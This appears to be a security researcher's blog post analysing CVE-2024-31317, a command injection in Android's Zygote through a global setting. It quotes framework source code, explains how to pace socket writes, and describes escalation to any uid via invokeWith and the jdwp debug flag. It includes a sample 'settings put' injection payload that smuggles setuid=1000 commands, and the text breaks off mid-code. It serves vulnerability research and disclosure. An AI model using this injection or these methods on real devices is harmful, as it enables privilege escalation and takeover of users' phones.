Category Archives: Android

The Return of Mystique? Possibly the most valuable userspace Android vulnerability in recent years: CVE-2024-31317

Abstract

This article analyzes the cause of CVE-2024-31317, an Android user-mode universal vulnerability, and shares our exploitation research and methods. Through this vulnerability, we can obtain code-execution for any uid, similar to breaking through the Android sandbox to gain permissions for any app. This vulnerability has effects similar to the Mystique vulnerability discovered by the author years ago (which is the little horse in the title image – the Pwnie Award for Best Privilege Escalation Bug at the hacker Oscars), but each has its own merits.

Origin of the Vulnerability

A few months ago, Meta X Red Team published two very interesting Android Framework vulnerabilities that could be used to escalate privileges to any UID. Among them, CVE-2024-0044, due to its simplicity and directness, has already been widely analyzed in the technical community with public exploits available (it’s worth mentioning that people were later surprised to find that the first fix for this vulnerability was actually ineffective). Meanwhile, CVE-2024-31317 still lacks a public detailed analysis and exploit, although the latter has greater power than the former (able to obtain system-uid privileges). This vulnerability is also quite surprising, because it’s already 2024, and we can still find command injection in Android’s core component (Zygote).

This reminds us of the Mystique vulnerability we discovered years ago, which similarly allowed attackers to obtain privileges for any uid. It’s worth noting that both vulnerabilities have certain prerequisites. For example, CVE-2024-31317 requires the WRITE_SECURE_SETTINGS permission. Although this permission is not particularly difficult to obtain, it theoretically still requires an additional vulnerability, as ordinary untrusted_apps cannot obtain this permission (however, it seems that on some branded phones, regular apps may have some methods to directly obtain this permission). ADB shell natively has this permission, and similarly, some special pre-installed signed apps also have this permission.

However, the exploitation effect and universality of this logical vulnerability are still sufficient to make us believe that it is the most valuable Android user-mode vulnerability in recent years since Mystique. Meta’s original article provides an excellent analysis of the cause of this vulnerability, but it only briefly touches on the exploitation process and methods, and is overall rather concise. This article will provide a detailed analysis and introduction to this vulnerability, and introduce some new exploitation methods, which, to our knowledge, are the first of their kind.

Attached is an image demonstrating the exploit effect, successfully obtaining system privilege on major phone brand’s June patch version:

demo

Analysis of this vulnerability

Although the core of this vulnerability is command injection, exploiting it requires a considerable understanding of the Android system, especially how Android’s cornerstone—the Zygote fork mechanism—works, and how it interacts with the system_server.

Zygote and system_server bootstrap process

Every Android developer knows that Zygote forks all processes in Android’s Java world, and system_server is no exception, as shown in the figure below.

zygoteandsystemserver

The Zygote process actually receives instructions from system_server and spawns child processes based on these instructions. This is implemented through the poll mechanism in ZygoteServer.java:

 Runnable runSelectLoop(String abiList) {
 //...
 if (pollIndex == 0) {
                        // Zygote server socket
                        ZygoteConnection newPeer = acceptCommandPeer(abiList);
                        peers.add(newPeer);
                        socketFDs.add(newPeer.getFileDescriptor());
                    } else if (pollIndex < usapPoolEventFDIndex) {
                        // Session socket accepted from the Zygote server socket

                        try {
                            ZygoteConnection connection = peers.get(pollIndex);
                            boolean multipleForksOK = !isUsapPoolEnabled()
                                    && ZygoteHooks.isIndefiniteThreadSuspensionSafe();
                            final Runnable command =
                                    connection.processCommand(this, multipleForksOK);

                            // TODO (chriswailes): Is this extra check necessary?
                            if (mIsForkChild) {
                                // We're in the child. We should always have a command to run at
                                // this stage if processCommand hasn't called "exec".
                                if (command == null) {
                                    throw new IllegalStateException("command == null");
                                }

                                return command;
                            } else {
                                // We're in the server - we should never have any commands to run.
                                if (command != null) {
                                    throw new IllegalStateException("command != null");
                                }

                                // We don't know whether the remote side of the socket was closed or
                                // not until we attempt to read from it from processCommand. This
                                // shows up as a regular POLLIN event in our regular processing
                                // loop.
                                if (connection.isClosedByPeer()) {
                                    connection.closeSocket();
                                    peers.remove(pollIndex);
                                    socketFDs.remove(pollIndex);
                                }
                            }
                        }
                        
                        //...
      Runnable processCommand(ZygoteServer zygoteServer, boolean multipleOK) {
        ZygoteArguments parsedArgs;

Then it enters the processCommand function, which is the core function for parsing the command buffer and extracting parameters. The specific format is defined in ZygoteArguments, and much of our subsequent work will need to revolve around this format.

    Runnable processCommand(ZygoteServer zygoteServer, boolean multipleOK) {
//...
  try (ZygoteCommandBuffer argBuffer = new ZygoteCommandBuffer(mSocket)) {
            while (true) {
                try {
                    parsedArgs = ZygoteArguments.getInstance(argBuffer);
                    // Keep argBuffer around, since we need it to fork.
                } catch (IOException ex) {
                    throw new IllegalStateException("IOException on command socket", ex);
                }
               //...
                if (parsedArgs.mBootCompleted) {
                    handleBootCompleted();
                    return null;
                }

                if (parsedArgs.mAbiListQuery) {
                    handleAbiListQuery();
                    return null;
                }

                if (parsedArgs.mPidQuery) {
                    handlePidQuery();
                    return null;
                }
//...
                if (parsedArgs.mInvokeWith != null) {
                    try {
                        FileDescriptor[] pipeFds = Os.pipe2(O_CLOEXEC);
                        childPipeFd = pipeFds[1];
                        serverPipeFd = pipeFds[0];
                        Os.fcntlInt(childPipeFd, F_SETFD, 0);
                        fdsToIgnore = new int[]{childPipeFd.getInt$(), serverPipeFd.getInt$()};
                    } catch (ErrnoException errnoEx) {
                        throw new IllegalStateException("Unable to set up pipe for invoke-with",
                                errnoEx);
                    }
                }
//...
        if (parsedArgs.mInvokeWith != null || parsedArgs.mStartChildZygote
                        || !multipleOK || peer.getUid() != Process.SYSTEM_UID) {
                    // Continue using old code for now. TODO: Handle these cases in the other path.
                    pid = Zygote.forkAndSpecialize(parsedArgs.mUid, parsedArgs.mGid,
                            parsedArgs.mGids, parsedArgs.mRuntimeFlags, rlimits,
                            parsedArgs.mMountExternal, parsedArgs.mSeInfo, parsedArgs.mNiceName,
                            fdsToClose, fdsToIgnore, parsedArgs.mStartChildZygote,
                            parsedArgs.mInstructionSet, parsedArgs.mAppDataDir,
                            parsedArgs.mIsTopApp, parsedArgs.mPkgDataInfoList,
                            parsedArgs.mAllowlistedDataInfoList, parsedArgs.mBindMountAppDataDirs,
                            parsedArgs.mBindMountAppStorageDirs,
                            parsedArgs.mBindMountSyspropOverrides);

                    try {
                        if (pid == 0) {
                            // in child
                            zygoteServer.setForkChild();

                            zygoteServer.closeServerSocket();
                            IoUtils.closeQuietly(serverPipeFd);
                            serverPipeFd = null;

                            return handleChildProc(parsedArgs, childPipeFd,
                                    parsedArgs.mStartChildZygote);
                        } else {
                            // In the parent. A pid < 0 indicates a failure and will be handled in
                            // handleParentProc.
                            IoUtils.closeQuietly(childPipeFd);
                            childPipeFd = null;
                            handleParentProc(pid, serverPipeFd);
                            return null;
                        }
                    } finally {
                        IoUtils.closeQuietly(childPipeFd);
                        IoUtils.closeQuietly(serverPipeFd);
                    }
                } else {
                    ZygoteHooks.preFork();
                    Runnable result = Zygote.forkSimpleApps(argBuffer,
                            zygoteServer.getZygoteSocketFileDescriptor(),
                            peer.getUid(), Zygote.minChildUid(peer), parsedArgs.mNiceName);
                    if (result == null) {
                        // parent; we finished some number of forks. Result is Boolean.
                        // We already did the equivalent of handleParentProc().
                        ZygoteHooks.postForkCommon();
                        // argBuffer contains a command not understood by forksimpleApps.
                        continue;
                    } else {
                        // child; result is a Runnable.
                        zygoteServer.setForkChild();
                        return result;
                    }
                }
            }
        }
        //...
        if (parsedArgs.mApiDenylistExemptions != null) {
            return handleApiDenylistExemptions(zygoteServer,
                    parsedArgs.mApiDenylistExemptions);
      }

static @Nullable Runnable forkSimpleApps(@NonNull ZygoteCommandBuffer argBuffer,
                                             @NonNull FileDescriptor zygoteSocket,
                                             int expectedUid,
                                             int minUid,
                                             @Nullable String firstNiceName) {
        boolean in_child =
                argBuffer.forkRepeatedly(zygoteSocket, expectedUid, minUid, firstNiceName);
        if (in_child) {
            return childMain(argBuffer, /*usapPoolSocket=*/null, /*writePipe=*/null);
        } else {
            return null;
        }
  }

boolean forkRepeatedly(FileDescriptor zygoteSocket, int expectedUid, int minUid,
               String firstNiceName) {
try {
    return nativeForkRepeatedly(mNativeBuffer, zygoteSocket.getInt$(),
            expectedUid, minUid, firstNiceName);

This is the top-level entry point for Zygote command processing, but the devil is in the details. After Android 12, Google implemented a fast-path C++ parser in ZygoteCommandBuffer, namely com_android_internal_os_ZygoteCommandBuffer.cpp. The main idea is that Zygote maintains a new inner loop in nativeForkRepeatly outside the outer loop in processCommand, to improve the efficiency of launching apps.

nativeForkRepeatly also polls on the Command Socket and repeatedly processes what is called a SimpleFork format parsed from the byte stream. This SimpleFork actually only processes simple zygote parameters such as runtime-args, setuid, setgid, etc. The discovery of other parameters during the reading process will cause an exit from this loop and return to the outer loop in processCommand, where a new ZygoteCommandBuffer will be constructed, the loop will restart, and unrecognized commands will be read and parsed again in the outer loop.

System_server may send various commands to zygote, not only commands to start processes, but also commands to modify some global environment values, such as denylistexemptions which contains the vulnerable code, which we will explain in more detail later.

As for system_server itself, its startup process is not complicated, as launched by hardcoded parameters in Zygote—obviously because Zygote cannot receive commands from a process that does not yet exist, this is a "chicken or egg" problem, and the solution is to start system_server through hardcoding.

The Zygote command format

The command parameters accepted by Zygote are in a format similar to Length-Value pairs, separated by line breaks, as shown below

8                              [command #1 arg count]
--runtime-args                 [arg #1: vestigial, needed for process spawn]
--setuid=10266                 [arg #2: process UID]
--setgid=10266                 [arg #3: process GID]
--target-sdk-version=31        [args #4-#7: misc app parameters]
--nice-name=com.facebook.orca
--app-data-dir=/data/user/0/com.facebook.orca
--package-name=com.facebook.orca
android.app.ActivityThread     [arg #8: Java entry point]
3                              [command #2 arg count]
--set-api-denylist-exemptions  [arg #1: special argument, don't spawn process]
LClass1;->method1(             [args #2, #3: denylist entries]
LClass1;->field1:

Roughly, the protocol parsing process first reads the number of lines, then reads the content of each line one by one according to the number of lines. However, after Android 12, the exploitation method gets much more complicated due to some buffer pre-reading optimizations, which also led to a significant increase in the length of this article and the difficulty of vulnerability exploitation.

The vulnerability itself

From the previous analysis, we can see that Zygote simply parses the buffer it receives from system_server blindly – without performing any additional secondary checks. This leaves room for command injection: if we can somehow manipulate system_server to write attacker-controlled content into the command socket.

denylistexemptions provides such a method

private void update() {
    String exemptions = Settings.Global.getString(mContext.getContentResolver(),
            Settings.Global.HIDDEN_API_BLACKLIST_EXEMPTIONS);
    if (!TextUtils.equals(exemptions, mExemptionsStr)) {
        mExemptionsStr = exemptions;
        if ("*".equals(exemptions)) {
            mBlacklistDisabled = true;
            mExemptions = Collections.emptyList();
        } else {
            mBlacklistDisabled = false;
            mExemptions = TextUtils.isEmpty(exemptions)
                    ? Collections.emptyList()
                    : Arrays.asList(exemptions.split(","));
        }
        if (!ZYGOTE_PROCESS.setApiDenylistExemptions(mExemptions)) {
          Slog.e(TAG, "Failed to set API blacklist exemptions!");
          // leave mExemptionsStr as is, so we don't try to send the same list again.
          mExemptions = Collections.emptyList();
        }
    }
    mPolicy = getValidEnforcementPolicy(Settings.Global.HIDDEN_API_POLICY);
}

@GuardedBy("mLock")
private boolean maybeSetApiDenylistExemptions(ZygoteState state, boolean sendIfEmpty) {
    if (state == null || state.isClosed()) {
        Slog.e(LOG_TAG, "Can't set API denylist exemptions: no zygote connection");
        return false;
    } else if (!sendIfEmpty && mApiDenylistExemptions.isEmpty()) {
        return true;
    }

    try {
        state.mZygoteOutputWriter.write(Integer.toString(mApiDenylistExemptions.size() + 1));
        state.mZygoteOutputWriter.newLine();
        state.mZygoteOutputWriter.write("--set-api-denylist-exemptions");
        state.mZygoteOutputWriter.newLine();
        for (int i = 0; i < mApiDenylistExemptions.size(); ++i) {
            state.mZygoteOutputWriter.write(mApiDenylistExemptions.get(i));
            state.mZygoteOutputWriter.newLine();
        }
        state.mZygoteOutputWriter.flush();
        int status = state.mZygoteInputStream.readInt();
        if (status != 0) {
            Slog.e(LOG_TAG, "Failed to set API denylist exemptions; status " + status);
        }
        return true;
    } catch (IOException ioe) {
        Slog.e(LOG_TAG, "Failed to set API denylist exemptions", ioe);
        mApiDenylistExemptions = Collections.emptyList();
        return false;
    }
}

"Regardless of the reason why hidden_api_blacklist_exemptions is modified, the ContentObserver‘s callback will be triggered. The newly written value will be read and, after parsing (mainly based on splitting the string by commas), directly written into the zygote command socket. A typical command injection."

Achieving universal exploitation utilizing socket features

Difficulty encountered on Android12 and above

The attacker’s initial idea was to directly inject new commands that would trigger the process startup, as shown below:

settings put global hidden_api_blacklist_exemptions "LClass1;->method1(
3
--runtime-args
--setuid=1000
--setgid=1000
1
--boot-completed"
"

In Android 11 or earlier versions, this type of payload was simple and effective because in these versions, Zygote reads each line directly through Java’s readLine without any buffer implementation affecting it. However, in Android 12, the situation becomes much more complex. Command parsing is now handled by NativeCommandBuffer, introducing a key difference: after the content is examined for once, this parser discards all trailing unrecognized content in the buffer and exits, rather than saving it for the next parsing attempt. This means that injected commands will be directly discarded!

NO_STACK_PROTECTOR
jboolean com_android_internal_os_ZygoteCommandBuffer_nativeForkRepeatedly(
            JNIEnv* env,
            jclass,
            jlong j_buffer,
            jint zygote_socket_fd,
            jint expected_uid,
            jint minUid,
            jstring managed_nice_name) {

 //...
  bool first_time = true;
  do {
    if (credentials.uid != static_cast<uid_t>(expected_uid)) {
      return JNI_FALSE;
    }
    n_buffer->readAllLines(first_time ? fail_fn_1 : fail_fn_n);
    n_buffer->reset();
    int pid = zygote::forkApp(env, /* no pipe FDs */ -1, -1, session_socket_fds,
                              /*args_known=*/ true, /*is_priority_fork=*/ true,
                              /*purge=*/ first_time);
    if (pid == 0) {
      return JNI_TRUE;
    }
//...
    for (;;) {
      // Clear buffer and get count from next command.
      n_buffer->clear();
      //...
      if ((fd_structs[SESSION_IDX].revents & POLLIN) != 0) {
        if (n_buffer->getCount(fail_fn_z) != 0) {
          break;
        }  // else disconnected;
      } else if (poll_res == 0 || (fd_structs[ZYGOTE_IDX].revents & POLLIN) == 0) {
        fail_fn_z(
            CREATE_ERROR("Poll returned with no descriptors ready! Poll returned %d", poll_res));
      }
      // We've now seen either a disconnect or connect request.
      close(session_socket);
   //...
    }
    first_time = false;
  } while (n_buffer->isSimpleForkCommand(minUid, fail_fn_n));
  ALOGW("forkRepeatedly terminated due to non-simple command");
  n_buffer->logState();
  n_buffer->reset();
  return JNI_FALSE;
}

std::optional<std::pair<char*, char*>> readLine(FailFn fail_fn) {
    char* result = mBuffer + mNext;
    while (true) {
      // We have scanned up to, but not including mNext for this line's newline.
      if (mNext == mEnd) {
        if (mEnd == MAX_COMMAND_BYTES) {
          return {};
        }
        if (mFd == -1) {
          fail_fn("ZygoteCommandBuffer.readLine attempted to read from mFd -1");
        }
        ssize_t nread = TEMP_FAILURE_RETRY(read(mFd, mBuffer + mEnd, MAX_COMMAND_BYTES - mEnd));
        if (nread <= 0) {
          if (nread == 0) {
            return {};
          }
          fail_fn(CREATE_ERROR("session socket read failed: %s", strerror(errno)));
        } else if (nread == static_cast<ssize_t>(MAX_COMMAND_BYTES - mEnd)) {
          // This is pessimistic by one character, but close enough.
          fail_fn("ZygoteCommandBuffer overflowed: command too long");
        }
        mEnd += nread;
      }
      // UTF-8 does not allow newline to occur as part of a multibyte character.
      char* nl = static_cast<char *>(memchr(mBuffer + mNext, '\n', mEnd - mNext));
      if (nl == nullptr) {
        mNext = mEnd;
      } else {
        mNext = nl - mBuffer + 1;
        if (--mLinesLeft < 0) {
          fail_fn("ZygoteCommandBuffer.readLine attempted to read past end of command");
        }
        return std::make_pair(result, nl);
      }
    }
  }

"The nativeForkRepeatedly function operates roughly as follows: After the socket initialization setup is completed, n_buffer->readLines will pre-read and buffer all the lines—i.e., all the content that can currently be read from the socket. The subsequent reset will move the buffer’s current read pointer back to the initial position—meaning the subsequent operations on n_buffer will start parsing this buffer from the beginning, without re-triggering a socket read. After a child process is forked, it will consume this buffer to extract its uid and gid and set them by itself. The parent process will continue execution and enter the for loop below. This for loop continuously listens to the corresponding socket’s file descriptor (fd), receiving and reconstructing incoming connections if they are unexpectedly interrupted.

graph TD
    A[Socket Initialization and Setup] --> B[n_buffer->readLines Reads and Buffers All Lines]
    B --> C[reset Moves Buffer Pointer Back to Initial Position]
    C --> D[n_buffer Re-parses the Buffer]
    D --> E{Fork Child Process}
    E --> F[Child Process Consumes Buffer to Extract UID and GID]
    E --> G[Parent Process Continues Execution]
    G --> H[Enters for Loop]
    H --> I[n_buffer->clear Clears Buffer]
    I --> J[Continuously Listens on Socket FD]
    J --> K[Receives and Rebuilds Incoming Connections]
    K --> L[n_buffer->getCount]
    L --> |Valid Input| O[Check if it is a simpleForkCommand]
    L --> |Invalid Input| I
    O --> |Is SimpleFork| B
    O --> |Not SimpleFork| ZygoteConnection::ProcessCommand
    for (;;) {
      // Clear buffer and get count from next command.
      n_buffer->clear();

But this is where things start to get complex and tricky. The call to n_buffer->clear(); discards all the remaining content in the current buffer (the buffer size is 12,200 on Android 12 and HarmonyOS 4, and 32,768 in later versions). This leads to the previously mentioned issue: the injected content will essentially be discarded and will not enter the next round of parsing.

Thus, the core exploitation method here is figuring out how to split the injected content into different reads so that it gets processed. Theoretically, this relies on the Linux kernel’s scheduler. Generally speaking, splitting the content into different write operations on the other side, with a certain time interval between them, can achieve this goal in most cases. Now, let’s take a look back at the vulnerable function in system_server that triggers the writing to the command socket:

private boolean maybeSetApiDenylistExemptions(ZygoteState state, boolean sendIfEmpty) {
    if (state == null || state.isClosed()) {
        Slog.e(LOG_TAG, "Can't set API denylist exemptions: no zygote connection");
        return false;
    } else if (!sendIfEmpty && mApiDenylistExemptions.isEmpty()) {
        return true;
    }

    try {
        state.mZygoteOutputWriter.write(Integer.toString(mApiDenylistExemptions.size() + 1));
        state.mZygoteOutputWriter.newLine();
        state.mZygoteOutputWriter.write("--set-api-denylist-exemptions");
        state.mZygoteOutputWriter.newLine();
        for (int i = 0; i < mApiDenylistExemptions.size(); ++i) {
            state.mZygoteOutputWriter.write(mApiDenylistExemptions.get(i));
            state.mZygoteOutputWriter.newLine();
        }
        state.mZygoteOutputWriter.flush();
        int status = state.mZygoteInputStream.readInt();
        if (status != 0) {
            Slog.e(LOG_TAG, "Failed to set API denylist exemptions; status " + status);
        }
        return true;
    } catch (IOException ioe) {
        Slog.e(LOG_TAG, "Failed to set API denylist exemptions", ioe);
        mApiDenylistExemptions = Collections.emptyList();
        return false;
    }
}

mZygoteOutputWriter, which inherits from BufferedWriter, has a buffer size of 8192.

    public void write(int c) throws IOException {
        synchronized (lock) {
            ensureOpen();
            if (nextChar >= nChars)
                flushBuffer();
            cb[nextChar++] = (char) c;
        }
    }

This means that unless flush is explicitly called, writes to the socket will only be triggered when the size of accumulated content in the BufferedWriter reaches the defaultCharBufferSize.

It’s important to note that separate writes do not necessarily guarantee separate reads on the receiving side, as the kernel might merge socket operations. The author of Meta proposed a method to mitigate this: inserting a large number of commas to extend the time consumption in the for loop, thereby increasing the time interval between the first socket write and the second socket write (flush). Depending on the device configuration, the number of commas may need to be adjusted, but the overall length must not exceed the maximum size of the CommandBuffer, or it will cause Zygote to abort. The added commas are parsed as empty lines in an array after the string split and will first be written by system_server as a corresponding count, represented by 3001 in the diagram below. However, during Zygote parsing, we must ensure that this count matches the corresponding lines before and after the injection.

Thus, the final payload layout is as shown in the diagram below

payload

Chaining it alltogether

We want the first part of the payload, which is the content before 13 (the yellow section in the diagram below), to exactly reach the 8192-character limit of the BufferedWriter, causing it to trigger a flush and ultimately initiate a socket write.

payload1

When Zygote receives this request, it should be in com_android_internal_os_ZygoteCommandBuffer_nativeForkRepeatedly, having just finished processing the previous simpleFork, and blocked at n_buffer->getCount (which is used to read the line count from the buffer). After this request arrives, getline will read all the contents from the socket into the buffer (note: it doesn’t read line by line), and upon reading 3001 (line count), it detects that it is not a isSimpleForkCommand. This causes the function to exit nativeForkRepeatedly and return to the processCommand function in ZygoteConnection.

ZygoteHooks.preFork();
Runnable result = Zygote.forkSimpleApps(argBuffer,
        zygoteServer.getZygoteSocketFileDescriptor(),
        peer.getUid(), Zygote.minChildUid(peer), parsedArgs.mNiceName);
if (result == null) {
    // parent; we finished some number of forks. Result is Boolean.
    // We already did the equivalent of handleParentProc().
    ZygoteHooks.postForkCommon();
    // argBuffer contains a command not understood by forksimpleApps.
    continue;

The whole procedure is as follows:

graph TD;
A[Zygote Receives Request] --> B[Enter com_android_internal_os_ZygoteCommandBuffer_nativeForkRepeatedly];
B --> C[Finish Processing Previous simpleFork];
C --> D[n_buffer->getCount Reads Line Count];
D --> E[getline Reads Buffer];
E --> F[Reads the 3001 Line Count];
F --> G[Detects it is not isSimpleForkCommand];
G --> H[Exit nativeForkRepeatedly];
H --> I[Return to ZygoteConnection's processCommand Function];

This entire 8192-sized block of content is then passed into ZygoteInit.setApiDenylistExemptions, after which processing of this block is no longer relevant to this vulnerability. Zygote consumes this, and proceed to receive following parts of commands.

At this point, note that we look from the Zygote side back to the system_server side, where system_server is still within the maybeSetApiDenylistExemptions function’s for loop. The 8192 block just processed by Zygote corresponds to the first write in this for loop.

try {
        state.mZygoteOutputWriter.write(Integer.toString(mApiDenylistExemptions.size() + 1));
        state.mZygoteOutputWriter.newLine();
        state.mZygoteOutputWriter.write("--set-api-denylist-exemptions");
        state.mZygoteOutputWriter.newLine();
        for (int i = 0; i < mApiDenylistExemptions.size(); ++i) {
            state.mZygoteOutputWriter.write(mApiDenylistExemptions.get(i)); //<----
            state.mZygoteOutputWriter.newLine();
        }
        state.mZygoteOutputWriter.flush();

The next writer.write will write the core command injection payload, and then the for loop will continue iterating 3000 (or another specified linecount – 1) times. This is done to ensure that consecutive socket writes do not get merged by the kernel into a single write, which could result in Zygote exceeding the buffer size limit and causing Zygote to abort during its read operation.

These iterations accumulated do not exceed the 8192-byte limit of the BufferedWriter, will not trigger an actual socket write within the for loop. Instead, the socket write will only be triggered during the flush. From Zygote’s perspective, it will continue parsing the new buffer in ZygoteArguments.getInstance, corresponding to the section shown in green in the diagram below.

payload2

This green section will be read into the buffer in one go. The first thing to be processed is the line count 13, followed by the fully controlled Zygote parameters injected by the attacker.

This time, the ZygoteArguments will only contain the 13 lines from this buffer, while the rest of the buffer (empty lines) will be processed in the next call to ZygoteArguments.getInstance. When the next new ZygoteArguments instance is created, ZygoteCommandBuffer will perform another read, effectively ignoring the remaining empty lines.

What should we do after successfully obtaining control of Zygote parameters?

"After all the complex work outlined above, we have successfully achieved the goal of reliably controlling the Zygote parameters through this vulnerability. However, we still haven’t addressed a critical question: What can be done with these controlled parameters, or how can they be used to escalate privileges?

At first glance, this question seems obvious, but in reality, it requires deeper exploration.

Attempt #1: Can we control Zygote to execute a specific package name with a particular uid?

This might be our first thought: Can we achieve this by controlling the --package-name and UID?

Unfortunately, the package name is not of much significance to the attacker or to the entire code loading and execution process. Let’s recall the Android App loading process:

app-launch

And let’s continue by examining the relevant code inApplicationThread

   public static void main(String[] args) {
    //...
        // Find the value for {@link #PROC_START_SEQ_IDENT} if provided on the command line.
        // It will be in the format "seq=114"
        long startSeq = 0;
        if (args != null) {
            for (int i = args.length - 1; i >= 0; --i) {
                if (args[i] != null && args[i].startsWith(PROC_START_SEQ_IDENT)) {
                    startSeq = Long.parseLong(
                            args[i].substring(PROC_START_SEQ_IDENT.length()));
                }
            }
        }
        ActivityThread thread = new ActivityThread();
        thread.attach(false, startSeq);

As we can see, the APK code loading process actually depends on startSeq, a parameter maintained by the ActivityManagerService, which maps ApplicationRecord to startSeq. This mapping tracks the corresponding loadApk, meaning the specific APK file and its path.

So, let’s take a step back:

Method #1: Can we control the execution of arbitrary code under a specific UID?

The answer is yes. By analyzing the parameters in ZygoteArguments, we discovered that the invokeWith parameter can be used to achieve this goal:

public static void execApplication(String invokeWith, String niceName,
        int targetSdkVersion, String instructionSet, FileDescriptor pipeFd,
        String[] args) {
    StringBuilder command = new StringBuilder(invokeWith);

    final String appProcess;
    if (VMRuntime.is64BitInstructionSet(instructionSet)) {
        appProcess = "/system/bin/app_process64";
    } else {
        appProcess = "/system/bin/app_process32";
    }
    command.append(' ');
    command.append(appProcess);

    // Generate bare minimum of debug information to be able to backtrace through JITed code.
    // We assume that if the invoke wrapper is used, backtraces are desirable:
    //  * The wrap.sh script can only be used by debuggable apps, which would enable this flag
    //    without the script anyway (the fork-zygote path).  So this makes the two consistent.
    //  * The wrap.* property can only be used on userdebug builds and is likely to be used by
    //    developers (e.g. enable debug-malloc), in which case backtraces are also useful.
    command.append(" -Xcompiler-option --generate-mini-debug-info");

    command.append(" /system/bin --application");
    if (niceName != null) {
        command.append(" '--nice-name=").append(niceName).append("'");
    }
    command.append(" com.android.internal.os.WrapperInit ");
    command.append(pipeFd != null ? pipeFd.getInt$() : 0);
    command.append(' ');
    command.append(targetSdkVersion);
    Zygote.appendQuotedShellArgs(command, args);
    preserveCapabilities();
    Zygote.execShell(command.toString());
}

This piece of code concatenates mInvokeWith with the subsequent arguments and executes them via execShell. We only need to point this parameter to an ELF binary or shell script that the attacker controls, and it must be readable and executable by Zygote.

However, we also need to consider the restrictions imposed by SELinux and the AppData directory permissions. Even if an attacker sets a file in a private directory to be globally readable and executable, Zygote will not be able to access or execute it. To resolve this, we refer to the technique we used in the Mystique vulnerability: using files from the app-lib directory.

The related method for obtaining a system shell is shown in the figure, with the device running HarmonyOS 4.2.

demo

However, this exploitation method still has a problem: obtaining a shell with a specific UID is not the same as direct in-process code execution. If we want to perform further hooking or code injection, this method would require an additional code execution trampoline, but not every app possesses this characteristic, and Android 14 has further introduced DCL (Dynamic Code Loading) restrictions.

So, is it possible to further achieve this goal?

Method #2: Leveraging the jdwp Flag

Here, we propose a new approach: the runtime-flags field in ZygoteArguments can actually be used to enable an application’s debuggable attribute.

static void applyDebuggerSystemProperty(ZygoteArguments args) {
    if (Build.IS_ENG || (Build.IS_USERDEBUG && ENABLE_JDWP)) {
        args.mRuntimeFlags |= Zygote.DEBUG_ENABLE_JDWP;
        // Also enable ptrace when JDWP is enabled for consistency with
        // before persist.debug.ptrace.enabled existed.
        args.mRuntimeFlags |= Zygote.DEBUG_ENABLE_PTRACE;
    }
    if (Build.IS_ENG || (Build.IS_USERDEBUG && ENABLE_PTRACE)) {
        args.mRuntimeFlags |= Zygote.DEBUG_ENABLE_PTRACE;
    }
}

Building on our analysis in Attempt #1, we can borrow a startSeq that matches an existing record in system_server to complete the full app startup process.The key advantage here is that the app’s process flags have been modified to enable the debuggable attribute, allowing the attacker to use tools like jdb to gain execution control within the process.

The Challenge: Predicting startSeq

The issue, however, lies in predicting the startSeq parameter. ActivityManagerService enforces strict validation for this parameter, ensuring that only legitimate values associated with active application startup processes are used.

private void attachApplicationLocked(@NonNull IApplicationThread thread,
        int pid, int callingUid, long startSeq) {
    // Find the application record that is being attached...  either via
    // the pid if we are running in multiple processes, or just pull the
    // next app record if we are emulating process with anonymous threads.
    ProcessRecord app;
    long startTime = SystemClock.uptimeMillis();
    long bindApplicationTimeMillis;
    long bindApplicationTimeNanos;
    if (pid != MY_PID && pid >= 0) {
        synchronized (mPidsSelfLocked) {
            app = mPidsSelfLocked.get(pid);
        }
        if (app != null && (app.getStartUid() != callingUid || app.getStartSeq() != startSeq)) {
            String processName = null;
            final ProcessRecord pending = mProcessList.mPendingStarts.get(startSeq);
            if (pending != null) {
                processName = pending.processName;
            }
            final String msg = "attachApplicationLocked process:" + processName
                    + " startSeq:" + startSeq
                    + " pid:" + pid
                    + " belongs to another existing app:" + app.processName
                    + " startSeq:" + app.getStartSeq();
            Slog.wtf(TAG, msg);
            // SafetyNet logging for b/131105245.
            EventLog.writeEvent(0x534e4554, "131105245", app.getStartUid(), msg);
            // If there is already an app occupying that pid that hasn't been cleaned up
            cleanUpApplicationRecordLocked(app, pid, false, false, -1,
                    true /*replacingPid*/, false /* fromBinderDied */);
            removePidLocked(pid, app);
            app = null;
        }
    } else {
        app = null;
    }

    // It's possible that process called attachApplication before we got a chance to
    // update the internal state.
    if (app == null && startSeq > 0) {
        final ProcessRecord pending = mProcessList.mPendingStarts.get(startSeq);
        if (pending != null && pending.getStartUid() == callingUid
                && pending.getStartSeq() == startSeq
                && mProcessList.handleProcessStartedLocked(pending, pid,
                    pending.isUsingWrapper(), startSeq, true)) {
            app = pending;
        }
    }

    if (app == null) {
        Slog.w(TAG, "No pending application record for pid " + pid
                + " (IApplicationThread " + thread + "); dropping process");
        EventLogTags.writeAmDropProcess(pid);
        if (pid > 0 && pid != MY_PID) {
            killProcessQuiet(pid);
            //TODO: killProcessGroup(app.info.uid, pid);
            // We can't log the app kill info for this process since we don't
            // know who it is, so just skip the logging.
        } else {
            try {
                thread.scheduleExit();
            } catch (Exception e) {
                // Ignore exceptions.
            }
        }
        return;
    }

If an unmatched or incorrect startSeq is used, the process will be immediately killed. The startSeq is incremented by 1 with each app startup. So how can an attacker retrieve or guess the current startSeq?

Our solution to this issue is to first install an attacker-controlled application, and by searching the stack frames, the current startSeq can be found.

startseq-search

The overall exploitation process is as follows (for versions 11 and earlier):

graph TD;
A[Attacker Installs a Debuggable Stub Application] --> B[Search Stack Frames to Obtain the Current startSeq];
B --> C[startSeq+1, Perform Command Injection; Zygote Hangs, Waiting for Next App Start];
C --> D[Launch the Target App via Intent; Corresponding ApplicationRecord Appears in ActivityManagerService];
D --> E[Zygote Executes Injected Parameters and Forks a Debuggable Process];
E --> F[The New Forked Process Attaches to AMS with the stolen startSeq; AMS Checks startSeq];
F --> G[startSeq Check Passes, AMS Controls the Target Process to Load Its Corresponding APK and Complete the Activity Startup Process];
G --> H[The Target App Has a jdwp Thread, and the Attacker Can Attach to Perform Code Injection];

The attack effect on Android 11 is shown in the following image:

jdwp-11

As you can see, we successfully launched the settings process and made it debuggable for injection (with a jdwp thread present). Note that the method shown in the screenshot has not been adapted for versions 12 and above, and readers are encouraged to explore this on their own.

Alternative Exploitation Methods

Currently, Method 1 provides a simple and direct way to obtain a shell with arbitrary uid, but it doesn’t allow for direct code injection or loading. Method 2 achieves code injection and loading, but requires using the jdwp protocol. Is there a better approach?

Perhaps we can explore modifying the class name of the injected parameters—specifically, the previous android.app.ActivityThread—and redirect it to another gadget class, such as WrapperInit.wrapperInit.

protected static Runnable applicationInit(int targetSdkVersion, long[] disabledCompatChanges,
        String[] argv, ClassLoader classLoader) {
